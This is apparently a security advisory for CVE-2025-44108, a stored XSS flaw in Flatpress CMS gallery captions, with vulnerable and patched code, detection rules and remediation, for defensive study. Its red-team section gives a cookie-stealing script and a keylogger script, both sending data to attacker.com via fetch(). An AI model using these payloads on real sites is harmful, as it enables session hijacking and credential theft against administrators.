CVE-2025-44108

Executive Summary

CVE-2025-44108 is a stored Cross-Site Scripting (XSS) vulnerability discovered in the administration panel of Flatpress CMS, specifically within the gallery captions component. An attacker with admin-level privileges can inject a malicious JavaScript payload that is persistently stored and executed in the context of other admin users’ sessions. This can lead to session hijacking, credential theft, or further compromise of the CMS backend. The vulnerability affects all versions prior to 1.4. No public exploit code or Nuclei template is available at this time, but the attack vector is well-understood and can be weaponized with standard XSS techniques.

CVSS Breakdown & Threat Level

• CVSS Score: 4.8 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: High (admin)
• User Interaction: Required (victim admin must view the gallery page)
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. Exploitation requires admin credentials, but once injected, the payload can affect all admin users, potentially leading to privilege escalation or lateral movement within the CMS.

Deep Dive & Mechanics

The vulnerability resides in the gallery captions feature of Flatpress CMS. When an admin user creates or edits a gallery entry, the caption field is not properly sanitized before being stored in the database. The stored caption is later rendered in the admin panel without adequate output encoding, allowing arbitrary HTML and JavaScript to execute.

Attack Flow:

1. Attacker gains admin access (via stolen credentials, social engineering, or other means).
2. Attacker navigates to the gallery management section and creates a new gallery entry.
3. In the caption field, the attacker injects a payload such as <script>alert('XSS')</script>.
4. The payload is stored in the database.
5. When another admin user (or the same attacker) views the gallery page, the script executes in their browser.
6. The attacker can then steal session cookies, perform actions on behalf of the victim, or deface the admin panel.

Root Cause: Lack of input sanitization on the caption field and insufficient output encoding when rendering the caption in the admin interface.

Vulnerable vs. Patched Code

Vulnerable Code (Flatpress < 1.4):

// In gallery admin controller
$caption = $_POST['caption'];
// No sanitization
$db->insert('gallery', ['caption' => $caption]);

// In gallery view
echo "<div class='gallery-caption'>" . $row['caption'] . "</div>";

Patched Code (Flatpress 1.4):

// In gallery admin controller
$caption = htmlspecialchars($_POST['caption'], ENT_QUOTES, 'UTF-8');
$db->insert('gallery', ['caption' => $caption]);

// In gallery view
echo "<div class='gallery-caption'>" . htmlspecialchars($row['caption'], ENT_QUOTES, 'UTF-8') . "</div>";

The patch uses htmlspecialchars() to encode HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Admin credentials for Flatpress CMS < 1.4
• Access to the gallery management interface

Exploitation Steps:

1. Log in as admin.
2. Navigate to Admin > Gallery > Add New.
3. In the "Caption" field, inject the following payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Save the gallery entry.
5. Wait for another admin to view the gallery page, or trigger the page yourself.
6. The victim’s browser will send their session cookie to the attacker’s server.

Alternative Payload (Keylogger):

<script>
document.addEventListener('keydown', function(e) {
    fetch('https://attacker.com/keylog?key='+e.key);
});
</script>

Blue Team (Detection & Hardening)

Detection:

• Monitor admin panel logs for unusual gallery caption entries containing <script> tags.
• Use WAF rules to block XSS payloads in POST requests to gallery endpoints.
• Deploy browser-based XSS filters (e.g., CSP headers).

Hardening:

• Upgrade to Flatpress 1.4 immediately.
• Implement Content Security Policy (CSP) to restrict script execution.
• Enforce strict input validation on all admin-facing forms.
• Use parameterized queries and output encoding consistently.

Indicators of Compromise (IOCs)

• Network: HTTP POST requests to /admin/gallery/save containing <script> tags in the caption parameter.
• File System: Database entries in the gallery table with caption fields containing JavaScript.
• Logs: Admin access logs showing repeated gallery creation/modification by the same user.
• Browser: Unexpected network requests to external domains from the admin panel.

Detection Engineering

YARA Rule

rule flatpress_xss_gallery_caption {
    meta:
        description = "Detects stored XSS payload in Flatpress gallery captions"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-44108"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $gallery_table = "gallery"
        $caption_field = "caption"
    condition:
        $xss_payload and $gallery_table and $caption_field
}

Sigma Rule

title: Flatpress Stored XSS in Gallery Caption
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects stored XSS attempts in Flatpress gallery captions
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        http.method: POST
        http.url: '/admin/gallery/save'
        http.body: '*<script*'
    condition: selection
falsepositives:
    - Legitimate admin using JavaScript in captions (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"Flatpress Stored XSS in Gallery Caption"; flow:to_server; content:"POST"; http_method; content:"/admin/gallery/save"; http_uri; content:"<script"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Upgrade Flatpress CMS to version 1.4 or later.
2. Workaround: If upgrade is not possible, manually sanitize the caption field in the database and apply output encoding in the gallery view template.
3. Long-term: Implement a Web Application Firewall (WAF) with XSS protection rules. Enforce Content Security Policy (CSP) headers. Conduct regular security audits of admin-facing features.
4. Monitoring: Enable detailed logging for admin panel actions and review logs for suspicious gallery caption entries.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert